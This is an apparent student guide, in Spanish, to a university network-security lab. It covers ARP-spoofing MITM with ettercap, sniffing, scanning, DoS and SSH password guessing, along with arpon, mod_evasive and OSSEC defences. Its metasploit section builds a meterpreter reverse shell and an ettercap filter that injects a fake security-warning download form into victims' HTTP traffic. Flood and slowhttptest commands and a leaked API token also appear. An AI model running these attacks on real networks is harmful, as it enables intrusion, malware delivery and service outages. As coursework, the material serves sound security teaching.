Práctica 2 LSI Nino - Explicada

Lexislación e Seguridade Informática (Universidade da Coruña)

****

DEFENSA PRÁCTICA 2

****

Tomé Maseda Dorado - Reiner Bello Tamayo

****

a) Instale el ettercap y pruebe sus opciones básicas en línea de comando.

Tomé: ettercap -T -i ens33 /10.10.102.217// /10.10.102.5//

Reiner: ettercap -T -i ens33 /10.10.102.228// /10.10.102.5//

SI NO SE ESPECIFICA INTERFAZ (-i ens33) DEVUELVE UN ERROR

NO RECONOCE CON QUÉ CAPA FÍSICA ESTÁ TRABAJANDO

MUY IMPORTANTE: EL ETTERCAP SE CORTA INTRODUCIENDO UNA Q EN LA LÍNEA DE COMANDOS,

SI SE CORTA CON CONTROL+C LE TIRAS EL SSH A TU COMPAÑERO

****

b) Capture paquetería variada ajena que incluya, entre otros, varias sesiones HTTP. Sobre

esta paquetería (puede utilizar el wireshark para los siguientes subapartados)

****

CONFIGURACIÓN WIRESHARK

OPCIÓN 1: INSTALAR WIRESHARK EN NUESTRA MÁQUINA DEBIAN

apt-get install wireshark

MobaXterm ---> terminal ---> ssh -X lsi@10.10.102.X

nano /etc/ssh/sshd_config ---> X11UseLocalhost no (Descomentar y poner como "no")

Debemos asegurarnos de que ~/.Xauthority nos pertenece y tiene los permisos correspondientes

ls -l ~/.Xauthority

chown lsi ~/.Xauthority

chmod 0600 ~/.Xauthority

ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.10.102.217// /10.10.102.5// -w apart_b.pk

wireshark

abrir apart_b.pk desde wireshark

OPCIÓN 2: INSTALAR WIRESHARK EN NUESTRA MÁQUINA LOCAL (VA MÁS RÁPIDO)

Buscar en google la instalación en función del S.O. que se use

MobaXterm ---> terminal ---> ssh lsi@10.10.102.228

Copiar apart_b.pk a nuestra máquina local

Abrir apart_b.pk desde wireshark

****

• Identifique los campos de cabecera de un paquete TCP

Tomé: ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.10.102.217// / 10.10.102.5// -w paquetes_tcp.pk

Reiner: ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.10.102.228// / 10.10.102.5// -w paquetes_tcp.pk

Buscar un paquete TCP y clickar sobre él para ver sus campos.

Para ver el flujo TCP ---> click derecho sobre un paquete TCP -> Seguir -> Flujo TCP

• Filtre la captura para obtener el tráfico HTTP

Tomé: ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.10.102.217// / 10.10.102.5// -w paquetes_http.pk

Reiner: ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.10.102.228// / 10.10.102.5// -w paquetes_http.pk

Mientras hacemos ettercap el compañero genera tráfico http:

lynx http://www.google.com

lynx http://psi-udc.blogspot.com/

lynx <Cualquier URL (HTTP mejor)>

O también...

apt update

apt install --reinstall <una app cualquiera>

Con las opciones del wireshark, en la barra superior, filtramos por http.

• Obtenga los distintos “objetos” del tráfico HTTP (imágenes, pdfs, etc.)

Tomé: ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.10.102.217// / 10.10.102.5// -w paquetes_http.pk

Reiner: ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.10.102.228// / 10.10.102.5// -w paquetes_http.pk

Mientras hacemos ettercap la víctima genera tráfico http con un pdf:

lynx http://<url PDF>

Buscamos un paquete con cabecera HTTP, que trate una petición GET de un archivo gráfico, en nuestro caso una imagen png de renfe. Entonces, desde el wireshark haremos: Archivo->Exportar objetos->HTTP-> y seleccionamos el objeto.

• Visualice la paquetería TCP de una determinada sesión.

Filtramos por tcp y podremos ver mayoritariamente paquetes TCP y SSH, ya que estos funcionan por TCP.

• Sobre el total de la paquetería obtenga estadísticas del tráfico por protocolo como fuente de información para un análisis básico del tráfico.

Estadísticas->Jerarquía de protocolo

Sin aplicar ningún filtro, vamos al menú de Statistics > Buscamos un protocolo en concreto -> Contador de paquetes.

• Obtenga información del tráfico de las distintas “conversaciones” mantenidas.

Sin aplicar ningún filtro, vamos al menú de Estadísticas->Conversaciones.

• Obtenga direcciones finales del tráfico de los distintos protocolos como

mecanismo para determinar qué circula por nuestras redes.

Estadísticas->puntos finales ---> IPs de todas las máquinas que recibieron paquetes ahí

****

c) Obtenga la relación de las direcciones MAC de los equipos de su segmento.

apt install nmap

nmap -sP 10.10.102.0/24 ---> Hace un reconocimiento de la red, va enviando un ping a todas las máquinas de la red

arp -a ---> Devuelve la relación IP-MAC de todas las máquinas con las que nos hemos mandado paquetería (caché ARP)

¿Para que nos sirve esto?

Si vemos una IP con una MAC y si en algún momento vemos que cambia un emparejamiento IP-MAC, sabemos que esa máquina está haciendo

un ettercap y está spuffeando su MAC (ya que en nuestra red usamos IPs estáticas, no DHCP, si no no sabriamos a ciencia cierta lo

que está haciendo)

Otra opción...

Con la herramienta nast podremos visualizar todas las macs e ips de las máquinas en nuestra

red LAN. El comando completo es: nast -m -i ens33. Aquellos que tienen un hostname, es porque

se lo han cambiado en el domain name (NIS).

****
****

d) Obtenga la relación de las direcciones IPv6 de su segmento.

ff02::1 es una dirección multicast a la que van a responder todas las direcciones link-local de mi segmento,

por tanto, enviamos un ping a esa dirección:

ping6 ff02::1

Otra forma de hacerlo:

ping6 -c 2 -I ens33 ff02::1 ---> Para limitar el número de paquetes a 2 y especificar la interfaz de red

Ahora analizamos la caché de respuestas:

ip -6 neigh

****
****

e) Obtenga el tráfico de entrada y salida legítimo de su interface de red eth0 e investigue

los servicios, conexiones y protocolos involucrados.

Observaremos todo el tráfico de nuestra interface de red (ens33):

ettercap -Tq -i ens33 -w apartado_e.pk

(Probar)

ettercap -Tq -z -i ens33 -w apartado_e.pk

Otra opción es hacerlo con tcpdump:

tcpdump -w tcp_apartado_e.pk -i ens33

Es interesante filtrar por...

Protocolos no seguros: http, ftp, dns

Protocolos seguros: https, ssh, sftp (ftp sobre ssh, los paquetes van en binario y no en texto)

****

f) Mediante arpspoofing entre una máquina objetivo (víctima) y el router del laboratorio obtenga todas las URL HTTP visitadas por la víctima.

En primer lugar, accederemos al fichero /etc/ettercap/etter.conf y cambiaremos el valor de ec_gid a 0, el valor de ec_uid a 0 y el valor de remote_browser a "lynx http://%host%url":

nano /etc/ettercap/etter.conf

ec_gid = 0

ec_uid = 0

remote_browser = "lynx http://%host%url" ---> Estamos definiendo el buscador que va a usar el plugin remote_browser

Ahora ejecutamos:

ettercap -Tq -i ens33 -P remote_browser -M arp:remote /10.10.102.217// / 10.10.102.5// -w urls.pk

remote_browser es el plugin que se queda con estas URLs

Nuestro compañero ejecuta:

lynx http://www.google.com

lynx http://psi-udc.blogspot.com/

lynx <Cualquier URL (HTTP mejor)>

****
****

g) Instale metasploit. Haga un ejecutable que incluya un Reverse TCP meterpreter payload para plataformas linux. Inclúyalo en un filtro ettercap y aplique toda su sabiduría en ingeniería social para que una víctima u objetivo lo ejecute.

****

INSTALACIÓN METASPLOIT

****

El framework de Metasploit Framework corre los siguientes servicios:

- PostgreSQL Database server – Usado por Metasploit para almacenar los datos de un proyecto

- Ruby on Rails

- Metasploit service

Para instalar Metasploit descargaremos un script de instalación y lo ejecutaremos.

Copiamos el script en msfinstall:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

Damos permisos de ejecución para msfinstall (lo hacemos ejecutable):

chmod +x msfinstall

Ejecutamos el script de instalación:

./msfinstall

Si nos da un error al crear /etc/apt/sources.list.d/metasploit-framework.list crear manualmente el directorio /etc/apt/sources.list.d con:

mkdir /etc/apt/sources.list.d

Comprobaremos la versión de nuestro framework con:

msfconsole --version

Una vez completada la instalación inicializaremos la base de datos:

msfdb init

Esto creara un schema inicial de la BD, configurará la cuenta de servicios e iniciará los servicios.

Copiamos las credenciales introducidas ya que las necesitaremos para acceder al MSF Web Service y a la API.

Usuario ---> tome

Contraseña ---> 8140

API token ---> eee9414ded2f87c8e264468dfc7497b05f67576428770fdef3e6a0f5e6b1997c5a0976f110637b5f

Ahora que la BD ha sido inicializada, ya podemos lanzar msfconsole:

msfconsole

Desde dentro de la msfconsole podemos verificar la conectividad a la BD con:

db_status --token eee9414ded2f87c8e264468dfc7497b05f67576428770fdef3e6a0f5e6b1997c5a0976f110637b5f --cert /home/lsi/.msf4/msf-ws-cert.pem --skip-verify https://localhost:5443

Ejecutar msfconsole como usuario sin privilegios, si no no podemos interactuar con la BD.

****

EJECUTABLE CON UN REVERSE TCP METERPRETER PAYLOAD

****

Empezaremos abriendo una terminal y buscando los payload's disponibles para Linux con arquitectura de 64 bits:

/opt/metasploit-framework/bin/msfvenom -l payloads | grep "linux/x64"

De los payloads que salen por pantalla nos interesa linux/x64/meterpreter_reverse_tcp, lo generaremos con:

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=10.10.102.228 lport=1234 -f elf -o origen_shell

Daremos permisos de ejecución al payload guardado como origen_shell.sh:

chmod +x origen_shell

Ya esta listo para ser ejecutado en el equipo victima pero para dar paso a la post-explotación abriremos

Metasploit:

msfconsole

Y utilizaremos Meterpreter, usando el siguiente módulo:

use exploit/multi/handler

Indicamos que payload se escogió de antemano para la explotación y asignamos la IP y el puerto del atacante:

set payload linux/x64/meterpreter_reverse_tcp

set lhost 10.10.102.228

set lport 1234

Ahora nos mantendremos a la espera de que sea ejecutado nuestro payload:

exploit

En nuestro caso, nuestro compañero debe ejecutar el payload para poder analizarlo, esto es lo que haremos con ettercap.

Una vez nuestro compañero ejecute el payload, se nos abrirá el meterpreter y podemos analizar diferente información sobre

nuestra victima:

sysinfo

shell

Para verificar que el payload tiene una conexión establecida exitosa y ademas se tiene otros dos procesos ejecutándose en el

equipo atacado ejecutamos desde la máquina víctima:

```
lsof -i -P -n
```

****

DESPLEGANDO EL METERPRETER DE METASPLOIT CON MITM Y UN FILTRO ETTERCAP

****

Guardaremos el siguiente código como html.filter:

```
if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
        replace("Accept-Encoding", "Accept-Nothing!");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "<title>")) {
        replace("</title>","</title><img_src="alert.gif"><h1>Hemos detectado un software malicioso en su sistema! Debe instalar el nuevo plugin de seguridad<h1><form method="get" action="http://10.10.102.228/origen_shell"><button type="submit">"DESCARGAR AHORA"</button></form>");
        msg("html injected");
    }
}
```

Establecemos el filter.html como filtro de ettercap:

etterfilter html.filter -o html.ef

****

INSTALAR APACHE Y METER EL EJECUTABLE EN EL SERVIDOR

****

- apt-get install apache2

- systemctl enable apache2

- systemctl start apache2

- Para probar que funciona el server, haremos un wget http://127.0.0.1/. Esto nos descarga un index.html de prueba. Si funciona, todo va bien.

- Metemos el ejecutable origen_shell en el directorio raíz de nuestro servidor apache (/var/www/html)

****

PRUEBA PARA LA DEFENSA

****

Ejecutamos ettercap con dicho filtro y esperamos a que la victima descargue nuestro payload:

ettercap -T -q -F html.ef -i ens33 -M arp /10.10.102.217// ///

La víctima abre alguna sesión HTTP para comprobar el funcionamiento del filtro:

lynx http://www.google.com

****
****

h) Haga un MITM en IPv6 y visualice la paquetería.

apt install thc-ipv6

atk6-alive6 ens33

alive6 hace un ping a todos los dispositivos de la interfaz para ver que máquinas hay vivas.

Usamos parasite6 para hacer un MITM en la interfaz ens33:

echo 1 > /proc/sys/net/ipv6/conf/all/forwarding

atk6-parasite6 ens33

El compañero hace ping para generar tráfico ICMP:

atk6-alive6 ens33

o

ping6 ff02::1

****
****

i) Pruebe alguna herramienta y técnica de detección del sniffing (arpon, ...).

Preferiblemente arpon.

apt install arpon

Configuración de arpon:

systemctl disable arpon

systemctl start arpon@ens33

nano /etc/arpon.conf

#Router

10.10.102.5 00:90:fb:22:ff:92

#Servidor DNS

10.10.102.27 00:1d:09:14:1e:7c

Daemonize the ArpON and run SARPI anti ARP spoofing technique on the ens33 network interface:

arpon -d -i ens33 -S

Read the log file:

tail -f /var/log/arpon/arpon.log

Read the pid file:

cat /var/run/arpon.pid

El compañero ejecuta:

ettercap -Tq -i ens33 -P repoison_arp -M arp:remote /10.10.102.217// /10.10.102.5//

Parar arpon:

systemctl stop arpon

kill <pid que devolvió> (si no sabemos cual es el PID lo podemos obtener con cat /var/run/arpon.pid)

Si no se para:

Comentar entradas en el fichero de configuración

nano /etc/arpon.conf

****

j) Pruebe distintas técnicas de host discovery, port scanning y OS fingerprinting sobre las máquinas del laboratorio de prácticas en IPv4. Realice alguna de las pruebas de port scanning sobre IPv6. ¿Coinciden los servicios prestados por un sistema con los de IPv4?.

Con nmap observar estas 3 IPs:

.4 ---> Firewall

.27 ---> Servidor DNS

.217 ---> Reiner

Usaremos el nmap. Probaremos las siguientes opciones:

- HOST DISCOVERY: nmap -sL 10.10.102.0/24
- PORT SCANNING TCP: nmap -sS -p <puertos> 10.10.102.0/24
- PORT SCANNING UDP: nmap -sU -p <puertos> 10.10.102.0/24
- OS fingerprinting: nmap -O 10.10.102.4

Para obtener información completa sobre una máquina en particular, usaremos nmap -A -vv 10.10.102.x.

nmap -6 -sS -p <puertos> 2002:a0a:66d9::1

****

k) Obtenga información “en tiempo real” sobre las conexiones de su máquina, así como del ancho de banda consumido en cada una de ellas. Establezca un sistema de accounting

del subsistema de red de su máquina de laboratorio.

iftop -i ens33

La primera columna es la ip de origen desde la que se envían los paquetes.

La segunda columna representa la dirección del tráfico. => significa saliente (subida), mientras que <= significa entrante (descarga).

La tercera columna representa la ip de destino.

Las últimas tres columnas representan el ancho de banda consumido de los últimos 2, 10 y 40 segundos respectivamente.

Para ir almacenando la información en unos ficheros...

vnstat -l -u -i ens33

vnstat --days

vnstat --months

****

l) PARA PLANTEAR DE FORMA TEÓRICA.: ¿Cómo podría hacer un DoS de tipo direct attack contra un equipo de la red de prácticas? ¿Y mediante un DoS de tipo reflective flooding attack?.

TEORÍA

PACKIT (INYECCIÓN DE PAQUETES)

packit -c 0 -b 0 -s 10.10.102.X -d 10.10.102.Y -s <puerto origen> -o <puerto destino>

-c 0 -b 0 ---> Esto es inyectar paquetes sin parar

-c x -b y ---> Manda x paquetes cada y segundos

-s <IP origen>

-d <IP destino>

packit -c 0 -b 0 -sR -d 10.10.102.Y -s <puerto origen> -o <puerto destino>

La máquina origen será aleatoria para cada paquete

EJECUTAR SOLO DURANTE UNOS SEGUNDOS (PETA LA RED)

(Explicación min. 22 aprox.)

packit -c 0 -b 0 -sR -d 10.10.102.Y -s 80 -o 22

packit -c 0 -b 0 -sR -d 10.10.102.Y -s 443 -o 22

packit -c 0 -b 0 -sR -d 10.10.102.Y -s 21 -o 22

packit -c 0 -b 0 -s 10.10.102.Y -dR -s 80 -o 22

HPING3 (OTRA OPCIÓN)

hping3 --flood <IP>

****

m) PARA PLANTEAR DE FORMA TEÓRICA.: Considerando que todos los sistemas del laboratorio tiene autoconfiguración de la pila IPv6, ¿cómo podría tratar de tirar abajo todos los sistemas? ¿cómo podría hacer flooding en IPv6?. ¿cómo podríamos protegernos?.

TEORÍA

Hay que usar fake-router6 que tira abajo todas las máquinas, por eso lo haremos de forma teórica.

Hace que todas las máquinas de la red se configuren así mismas enlaces link local, lo que pone el procesador

de la máquina al 100% (a no ser que tenga accounting) y las máquinas caen al cabo de unos segundos.

¿Como protegernos de esto?

Desactivar IPv6

¿Y si necesito IPv6?

(Investigar)

****

n) Ataque un servidor apache instalado en algunas de las máquinas del laboratorio de prácticas para tratar de provocarle una DoS. Utilice herramientas DoS que trabajen a nivel de aplicación (capa 7). ¿Cómo podría proteger dicho servicio ante este tipo de ataque? ¿Y si se produjese desde fuera de su segmento de red? ¿Cómo podría tratar de saltarse dicha protección?

apt-get install slowhttptest

Tomé: slowhttptest -c 1000 -g -X -o slow_http_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.102.217 -p 3

Reiner: slowhttptest -c 1000 -g -X -o slow_http_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.102.228 -p 3

Para reventar más la máquina...

Tomé: slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://10.10.102.217 -x 10 -p 3

Reiner: slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://10.10.102.228 -x 10 -p 3

-c 1000 -> Número de conexiones máximas

-g -> Genera un Flow chart

-X -> Activa slow_read_stats (Tipo de ataque, mantener el máximo de conexiones activas para joder bien al servidor)

-o fichero -> Genera un html con los parámetros del test

-r 200 -> Conexiones

-w 512 -> Rango de bytes del Windows size

-y -> Fin del rango de bytes del Windows size

-n -> intervalos de segundos

****

DEFENSA

****

Tomé: slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.102.217 -p 3

Reiner: slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.102.228 -p 3

La víctima hace:

Tomé: wget http://10.10.102.228

Reiner: wget http://10.10.102.217

El wget debería fallar porque estamos tirando el servidor

****

o) Instale y configure modsecurity. Vuelva a proceder con el ataque del apartado anterior.

¿Qué acontece ahora?

****

INSTALACIÓN MOD-EVASIVE

****

- apt install libapache2-mod-evasive

- Configurar /etc/apache2/mods-enabled/evasive.conf:

- DOSHashTableSize: tamaño de la tabla hash de seguimiento de la actividad de las direcciones IP.

- DOSPageCount: Numero máximo de peticiones de una misma página desde una misma IP en el tiempo indicado por `DOSPageInterval` (sec).

- DOSSiteCount: Numero máximo de peticiones de una misma IP a cualquier página en el tiempo indicado por `DOSSiteInterval` (sec).

- DOSBlockingPeriod: Cantidad de tiempo que el atacante será bloqueado.

- DOSLogDir: Ruta para el almacenamiento de logs

nano /etc/apache2/mods-enabled/evasive.conf

DOSHashTableSize 2048

DOSPageCount 5

DOSSiteCount 100

DOSPageInterval 1

DOSSiteInterval 2

DOSBlockingPeriod 10

DOSLogDir "/var/log/mod_evasive"

- Crear fichero de logs: mkdir -p /var/log/mod_evasive

- Asignar dueño: chown -R root:www-data /var/log/mod_evasive

- Reiniciar servicio de Apache: systemctl restart apache2.service

****

DESHABILITAR MOD-EVASIVE

****

a2dismod evasive

systemctl restart apache2.service

****

FORMAS DE HACER NUESTRO APACHE MÁS SEGURO

****

Bajar el timeout (Por defecto son 300 segundos, un timeout ideal serían unos 30-40 segundos)

nano /etc/apache2/apache2.conf

Cambiar el timeout a 30

systemctl restart apache2.service

****

DEFENSA

****

Tomé: slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.102.217 -p 3

Reiner: slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.102.228 -p 3

Tomé: wget http://10.10.102.228

Reiner: wget http://10.10.102.217

Otra forma de ver si funciona es ver los ficheros de logs de apache:

tail -f /var/log/apache2/access.log

tail -f /var/log/apache2/error.log

****
****

p)Buscamos información:

• Obtenga de forma pasiva el direccionamiento público IPv4 e IPv6 asignado a la Universidade da Coruña.

host www.udc.es

(www.udc.es has address 193.144.53.84)

(www.udc.es has IPv6 address 2001:720:121c:e000::203)

• Obtenga información sobre el direccionamiento de los servidores DNS y MX de la Universidade da Coruña.

DNS Y MX:

apt install dnsrecon

dnsrecon -d udc.es

(NS zape.udc.es 193.144.52.2)

(NS zape.udc.es 2001:720:121c:e000::102)

(NS sun.rediris.es 199.184.182.1)

(NS sun.rediris.es 2620:171:808::1)

(NS zipi.udc.es 193.144.48.30)

(NS zipi.udc.es 2001:720:121c:e000::101)

(NS chico.rediris.es 162.219.54.2)

(NS chico.rediris.es 2620:10a:80eb::2)

(MX udc-es.mail.protection.outlook.com 104.47.6.36)

(MX udc-es.mail.protection.outlook.com 104.47.4.36)

DNS:

apt install dnsutils

nslookup udc.es (este comando permite hacer el punto 1,
sale en el pdf pero no sirve para los DNS)

(Name: udc.es)

(Address: 193.144.53.84) o #dig udc.es (no se muestra en ipv6

(Name: udc.es)

(Address: 2001:720:121c:e000::203)

MX:

#nslookup

> set q=mx (especificamos que queremos el MX)

> udc.es (dominio)

(udc.es mail exchanger = 10 udc-es.mail.protection.outlook.com.)

#nslookup -query=mx udc.es

• ¿Puede hacer una transferencia de zona sobre los servidores DNS de la UDC?.
En caso negativo, obtenga todos los nombres.dominio posibles de la UDC.

dnsrecon -r 193.144.48.1-193.144.63.254 (asi sacas todas de la udc)

- ¿Qué gestor de contenidos se utiliza en www.usc.es?

  # apt install whatweb

  -No existe la www.usc.es, esa url te lleva a https://www.usc.gal/gl
  y el cms de esta web es Drupal 8.

  # whatweb www.usc.gal/gl

  o

  # whatweb www.usc.es (tambien se ve)

****

q) Trate de sacar un perfil de los principales sistemas que conviven en su red de prácticas, puertos accesibles, fingerprinting, etc. Además de utilizar herramientas y técnicas en este campo, revise también la paquetería que circula por su red.

Puertos de la red TCP ---> nmap -sS 10.10.102.0/24
Puertos de la red UDP ---> nmap -sU 10.10.102.0/24
Fingerprinting ---> nmap -O 10.10.102.4

Podemos revisar la paquetería con ettercap y wireshark.

****

r) Realice algún ataque de “password guessing” contra su servidor ssh y compruebe que el analizador de logs reporta las correspondientes alarmas.

apt-get install medusa

Crear un archivo .txt (passwords.txt en nuestro caso) con las contraseñas a probar, cada contraseña en una nueva línea

medusa -h 10.10.102.217 -u lsi -P passwords.txt -M ssh -f

Para ver los datos del ataque, usaremos:

su -s /bin/bash -c "/usr/sbin/logcheck -o -t" logcheck

****
****

s) Reportar alarmas está muy bien, pero no estaría mejor un sistema activo, en lugar de uno pasivo. Configure algún sistema activo, por ejemplo OSSEC, y pruebe su funcionamiento ante un “password guessing”.

Descargamos el ossec y lo instalamos de la siguiente manera:

- wget https://github.com/ossec/ossec-hids/archive/2.9.2.tar.gz
- tar -xzvf 2.9.2.tar.gz
- cd ossec-hids-2.9.2
- ./install.sh

Lo instalamos con los siguientes parámetros:

- Tipo instalación: -servidor, agente o local local
- Donde instalar: /var/ossec
- Recibir notificaciones por email: si
- Direccion: lsi@localhost
- Servidor email: localhost
- Servidor de integridad: s
- Deteccion de rootkits: s

- Respuesta activa: s

- Desechar en el firewall: s

- Lista blanca para respuesta activa: 10.10.102.27

- Agregar más Ips a la lista blanca: n

Una vez instalado:

systemctl disable ossec.service

No queremos que ossec se inicié cada vez que booteamos nuestra máquina, ya lo iniciaremos y pararemos

nosotros cuando queramos hacer pruebas con start y stop.

Fichero de configuración ---> var/ossec/etc/ossec.conf

Iniciar OSSEC ---> /var/ossec/bin/ossec-control start

Parar OSSEC ---> /var/ossec/bin/ossec-control stop

****

¿CÓMO PROBARLO?

****

Tomé ejecuta medusa contra Reiner:

medusa -h 10.10.102.217 -u lsi -P passwords.txt -M ssh -f

Una vez comprobado que funciona medusa, Reiner inicia el OSSEC:

/var/ossec/bin/ossec-control start

Tomé ejecuta medusa de nuevo:

medusa -h 10.10.102.217 -u lsi -P passwords.txt -M ssh -f

Reiner observa si el OSSEC reportó alguna alarma antes el password guessing realizado:

iptables -L

o

cat /etc/hosts.deny

Veremos que la IP de Tomé (10.10.102.228) ha sido bloqueada y todos sus paquetes serán dropeados.

¡IMPORTANTE!

NO CAMBIAR EL /etc/hosts.deny NI LAS IPTABLES A MANO, YA LO HACE OSSEC SOLO AL CABO DE UN TIMEOUT

PARAR EL OSSEC SIEMPRE QUE SALGAMOS DE LA MÁQUINA, SI NO NOS PUEDE BLOQUEAR LAS CONEXIONES

****

t) Supongamos que una máquina ha sido comprometida y disponemos de un fichero con sus mensajes de log. Procese dicho fichero con OSSEC para tratar de localizar evidencias de lo acontecido ("post mortem"). Muestre las alertas detectadas con su grado de criticidad, así como un resumen de las mismas.

Imaginemos que hackean una máquina de la red, antes de que hackeen la máquina esta mandaría al servidor de logs sus logs

y podríamos ver que han hackeado una máquina.

Nosotros lo que haremos es pasarle un fichero de logs de otra máquina y que OSSEC lo analice con detenimiento.

¡IMPORTANTE! Si no funciona syslog no va a funcionar OSSEC, OSSEC lee los logs, sin syslog está ciego.

var/ossec/bin/ossec-logtest

var/ossec/bin/

Si a estos ficheros les escribimos los logs encima, ossec ya los analiza (cat <fichero log> > /var/ossec/bin/...).

Ejecutar:

cat /var/log/auth.log grep | /var/ossec/bin/ossec-logtest

****
****